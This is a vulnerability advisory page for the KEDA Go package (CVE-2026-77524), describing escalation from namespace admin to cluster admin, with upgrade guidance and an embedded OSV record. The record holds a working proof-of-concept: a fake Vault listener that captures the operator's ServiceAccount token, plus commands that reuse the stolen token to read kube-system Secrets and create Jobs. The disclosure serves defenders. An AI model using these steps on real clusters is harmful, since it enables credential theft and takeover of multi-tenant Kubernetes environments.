Vulnerabilities in pkg:golang/github.com/kedacore/keda
PACKAGECVE-2026-77524 is a CRITICAL (CVSS 9.9) privilege escalation from namespace admin vulnerability (CWE-269: Improper Privilege Management) affecting KEDA libraries in the Go ecosystem. The issue involves privilege escalation from namespace admin to cluster admin via keda triggerauthentication. Remediation is available by upgrading affected packages to version 2.21.0.
pkg:golang/github.com/kedacore/keda
Vulnerability advisories affecting package pkg:golang/github.com/kedacore/keda. Select an advisory below to view technical details or fixes.
| Advisory ID | CVE / NVD | Severity | Summary |
|---|---|---|---|
| GHSA-637c-6jxx-4rwm | CVE-2026-77524 | CRITICAL | KEDA: Privilege escalation from namespace admin to cluster admin via KEDA TriggerAuthentication |
CVE-2026-77524 at a Glance
Security Impact
CVSS: 9.9
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).
How to Fix CVE-2026-77524
To remediate this vulnerability, upgrade all affected KEDA dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/kedacore/keda to Latest secure release
Upgrade github.com/kedacore/keda/v2 to 2.21.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/kedacore/keda
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-77524, inspect your project dependencies for KEDA:
inspect dependencies for github.com/kedacore/keda
Analyze the terminal output to locate any version of KEDA in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.21.0), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-269: Improper Privilege Management, where the product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor. In KEDA, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-77524 Affected KEDA Versions
2 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/kedacore/keda
|
Go |
≤ 1.5.0
|
|
|
github.com/kedacore/keda/v2
|
Go |
< 2.21.0
|
2.21.0
|
References
Frequently Asked Questions
What is CVE-2026-77524?
Which KEDA versions are affected?
What version fixes CVE-2026-77524?
Is github.com/kedacore/keda affected?
Is github.com/kedacore/keda/v2 affected?
What is the CVSS score of CVE-2026-77524?
What CWE is associated with CVE-2026-77524?
How can I check Go dependencies for CVE-2026-77524?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-637c-6jxx-4rwm",
"modified" : "2026-10-15T20:19:43Z",
"published" : "2026-10-15T20:19:42Z",
"aliases" : [ "CVE-2026-77524" ],
"summary" : "KEDA: Privilege escalation from namespace admin to cluster admin via KEDA TriggerAuthentication",
"details" : "## Summary\n\nA namespace admin who creates a `TriggerAuthentication` and a `ScaledObject` in their own namespace can make the KEDA operator send its own ServiceAccount token to a tenant-controlled URL. That token holds `[\"*\"]/[\"*\"] get` cluster-wide, so it reads every Secret in every namespace, plus `batch/jobs` and `horizontalpodautoscalers` create/delete cluster-wide, `*/scale` update on any workload, `validatingwebhookconfigurations` update (rewrite or disable cluster admission), and `apiservices` update (hijack aggregated API routing). This is effectively privilege escalation from namespace admin to cluster admin in real environments: a cluster-wide Secret read alone is enough to find a token for a more privileged ServiceAccount, and the cluster-wide `batch/jobs` create lets the attacker run a workload in any namespace whose Pod Security Admission level permits it (or that is PSA-exempt, such as `kube-system` , `kyverno`) to reach the node filesystem and a control-plane kubeconfig.\n\nThis is an incomplete fix of CVE-2025-68476: its content filter only requires the loaded file to be a JWT whose subject begins with `system:serviceaccount:`, which the operator's own projected token satisfies by construction. The destination field `hashiCorpVault.address` is unvalidated.\n\nFinder credits: Artem Cherezov @cherez0ff, with Claude Opus 4.8\n\n## Verified live\n\nkind v1.31.2, kedacore/keda v2.20.0 (latest at the time of audit, <https://github.com/kedacore/keda>) installed from the unmodified release manifest `keda-2.20.0.yaml` (`ghcr.io/kedacore/keda:2.20.0`), default settings.\n\n## Preconditions\n\n1. The tenant holds `create` on `triggerauthentications.keda.sh` and `scaledobjects.keda.sh` in its own namespace (the documented KEDA tenant workflow), plus the built-in `edit` ClusterRole in that namespace. Often granted by a namespaced admin Role (`--verb='*' --resource='*.*'`) in multi-tenant environments.\n2. KEDA is installed with default settings.\n\n## Reproduction\n\n### Cluster preparation (not part of the attack)\n\n```sh\nkind create cluster --image kindest/node:v1.31.2 --name keda-poc --kubeconfig ./kubeconfig\nexport KUBECONFIG=./kubeconfig\n\n# Install KEDA v2.20.0 (unmodified vendor release manifest).\ncurl -sSL -o keda-2.20.0.yaml https://github.com/kedacore/keda/releases/download/v2.20.0/keda-2.20.0.yaml\nkubectl apply --server-side -f keda-2.20.0.yaml\nkubectl wait --for=condition=Established crd/triggerauthentications.keda.sh crd/scaledobjects.keda.sh --timeout=120s\nkubectl -n keda rollout status deploy/keda-operator --timeout=180s\n\n# Tenant identity: namespace admin in tenant-a.\nkubectl create namespace tenant-a\nkubectl -n tenant-a create serviceaccount tenant\nkubectl -n tenant-a create rolebinding tenant-edit --clusterrole=edit --serviceaccount=tenant-a:tenant\nkubectl -n tenant-a create role tenant-keda --verb=create,get --resource=triggerauthentications.keda.sh,scaledobjects.keda.sh\nkubectl -n tenant-a create rolebinding tenant-keda --role=tenant-keda --serviceaccount=tenant-a:tenant\n\n# Mint a tenant kubeconfig from a real TokenRequest token.\nSERVER=$(kubectl config view --minify -o jsonpath='{.clusters[0].cluster.server}')\nCA=$(kubectl config view --minify --raw -o jsonpath='{.clusters[0].cluster.certificate-authority-data}')\nTOKEN=$(kubectl -n tenant-a create token tenant --duration=24h)\ncat > kubeconfig-tenant <<EOF\napiVersion: v1\nkind: Config\nclusters:\n- name: kind\n cluster: { server: ${SERVER}, certificate-authority-data: ${CA} }\ncontexts:\n- name: tenant\n context: { cluster: kind, user: tenant, namespace: tenant-a }\ncurrent-context: tenant\nusers:\n- name: tenant\n user: { token: ${TOKEN} }\nEOF\n\n# Seed a \"secret\" canary in kube-system to make impact self-evident.\nkubectl -n kube-system create secret generic poc-canary --from-literal=canary=KEDA-F1-CANARY-7f3a9c2e\n```\n\n### Attack\n\n1. Deploy a listener in the tenant namespace that impersonates a HashiCorp Vault server. It logs the login request body and replies with a well-formed Vault auth envelope. The KEDA operator uses the Vault Go client, which issues the login as an HTTP `PUT`, so the listener must accept all methods.\n\n```sh\nkubectl --kubeconfig=./kubeconfig-tenant apply -f - <<'EOF'\napiVersion: v1\nkind: ConfigMap\nmetadata: { name: fake-vault-src, namespace: tenant-a }\ndata:\n vault.py: |\n import http.server, socketserver, sys, json\n class H(http.server.BaseHTTPRequestHandler):\n def log_message(self,*a): pass\n def _h(self):\n ln=int(self.headers.get('Content-Length') or 0)\n body=self.rfile.read(ln) if ln else b''\n sys.stdout.write(\"VAULT-LOGIN %s %s\\n%s\\n\"%(self.command,self.path,body.decode('utf-8','replace'))); sys.stdout.flush()\n r=json.dumps({\"auth\":{\"client_token\":\"s.poc\",\"lease_duration\":3600,\"renewable\":True,\"policies\":[\"default\"]}}).encode()\n self.send_response(200); self.send_header(\"Content-Type\",\"application/json\"); self.send_header(\"Content-Length\",str(len(r))); self.end_headers(); self.wfile.write(r)\n do_GET=do_POST=do_PUT=do_DELETE=do_OPTIONS=do_HEAD=_h\n socketserver.TCPServer.allow_reuse_address=True\n with socketserver.TCPServer((\"0.0.0.0\",8200),H) as s: s.serve_forever()\n---\napiVersion: v1\nkind: Pod\nmetadata: { name: fake-vault, namespace: tenant-a, labels: { app: fake-vault } }\nspec:\n containers:\n - name: vault\n image: python:3.12-slim@sha256:090ba77e2958f6af52a5341f788b50b032dd4ca28377d2893dcf1ecbdfdfe203\n command: [\"python3\",\"/src/vault.py\"]\n volumeMounts: [{ name: src, mountPath: /src }]\n volumes: [{ name: src, configMap: { name: fake-vault-src } }]\n---\napiVersion: v1\nkind: Service\nmetadata: { name: fake-vault, namespace: tenant-a }\nspec:\n selector: { app: fake-vault }\n ports: [{ port: 8200, targetPort: 8200 }]\nEOF\nkubectl --kubeconfig=./kubeconfig-tenant -n tenant-a wait --for=condition=Ready pod/fake-vault --timeout=120s\n```\n\n2. Create the `TriggerAuthentication` (the primitive) and a `ScaledObject` with a `cron` trigger referencing it. With `authentication: kubernetes` and no `credential` block, KEDA defaults `credential.serviceAccount` to the operator pod's own token path.\n\n```sh\nkubectl --kubeconfig=./kubeconfig-tenant apply -f - <<'EOF'\napiVersion: keda.sh/v1alpha1\nkind: TriggerAuthentication\nmetadata: { name: vault-auth, namespace: tenant-a }\nspec:\n hashiCorpVault:\n address: http://fake-vault.tenant-a.svc:8200 # tenant-controlled destination, no validation\n authentication: kubernetes\n mount: kubernetes\n role: poc\n secrets:\n - { parameter: anything, key: anything, path: secret/data/anything }\n---\napiVersion: keda.sh/v1alpha1\nkind: ScaledObject\nmetadata: { name: poc-so, namespace: tenant-a }\nspec:\n scaleTargetRef: { name: poc-target }\n pollingInterval: 5\n minReplicaCount: 0\n maxReplicaCount: 2\n triggers:\n - type: cron\n metadata: { timezone: UTC, start: \"0 * * * *\", end: \"30 * * * *\", desiredReplicas: \"1\" }\n authenticationRef: { name: vault-auth }\n---\napiVersion: apps/v1\nkind: Deployment\nmetadata: { name: poc-target, namespace: tenant-a }\nspec:\n replicas: 1\n selector: { matchLabels: { app: poc-target } }\n template:\n metadata: { labels: { app: poc-target } }\n spec:\n containers: [{ name: pause, image: registry.k8s.io/pause:3.10 }]\nEOF\n```\n\n3. The operator reconciles the `ScaledObject`, builds the scaler, resolves the `authenticationRef`, and PUTs its own ServiceAccount token to the listener as the Vault login body. Read it back:\n\n```sh\nsleep 20\nkubectl --kubeconfig=./kubeconfig-tenant -n tenant-a logs pod/fake-vault | grep -A1 'VAULT-LOGIN PUT'\n# VAULT-LOGIN PUT /v1/auth/kubernetes/login\n# {\"jwt\":\"eyJhbGciOiJSUzI1NiIs...\",\"role\":\"poc\"}\n```\n\n4. Build a kubeconfig from the stolen token and use it. The token authenticates as the operator ServiceAccount and reads the kube-system Secret the tenant could not read directly:\n\n```sh\nSTOLEN=$(kubectl --kubeconfig=./kubeconfig-tenant -n tenant-a logs pod/fake-vault \\\n | sed -n 's/.*\"jwt\":\"\\([^\"]*\\)\".*/\\1/p' | head -1)\ncat > kubeconfig-stolen <<EOF\napiVersion: v1\nkind: Config\nclusters:\n- name: kind\n cluster: { server: ${SERVER}, certificate-authority-data: ${CA} }\ncontexts:\n- name: stolen\n context: { cluster: kind, user: stolen }\ncurrent-context: stolen\nusers:\n- name: stolen\n user: { token: ${STOLEN} }\nEOF\n\nkubectl --kubeconfig=./kubeconfig-stolen auth whoami\n# Username system:serviceaccount:keda:keda-operator\n\nkubectl --kubeconfig=./kubeconfig-stolen -n kube-system get secret poc-canary -o jsonpath='{.data.canary}' | base64 -d\n# KEDA-F1-CANARY-7f3a9c2e\n\n# The token also creates workloads cluster-wide via batch/jobs; a Job lands a pod in kube-system.\nkubectl --kubeconfig=./kubeconfig-stolen -n kube-system create job pwn --image=busybox -- sh -c 'sleep 60'\n# job.batch/pwn created\nkubectl --kubeconfig=./kubeconfig-stolen -n kube-system get pods -l job-name=pwn\n# pwn-q5j5s 1/1 Running 0 8s\n```\n\n## Root cause\n\nA namespace tenant should not be able to make the operator authenticate to a tenant-controlled server using the operator's own cluster-privileged identity. The destination address is fully tenant-controlled and unvalidated, and the credential the operator presents defaults to its own ServiceAccount token. The content filter added for the prior arbitrary-file-read advisory checks only that the loaded bytes look like a Kubernetes ServiceAccount token, which is exactly the shape of the operator's own token, so it does not constrain the credential to one the tenant is entitled to use.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/kedacore/keda"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"last_affected" : "1.5.0"
} ]
} ]
}, {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/kedacore/keda/v2"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "2.21.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/kedacore/keda/security/advisories/GHSA-637c-6jxx-4rwm"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-77524"
}, {
"type" : "WEB",
"url" : "https://github.com/kedacore/keda/commit/1e21cc798dedd079e696cdb45388eddc5e18365d"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/kedacore/keda"
}, {
"type" : "WEB",
"url" : "https://github.com/kedacore/keda/releases/tag/v2.21.0"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-269", "CWE-918" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2026-10-15T20:19:42Z",
"nvd_published_at" : "2026-10-14T17:19:11Z"
}
}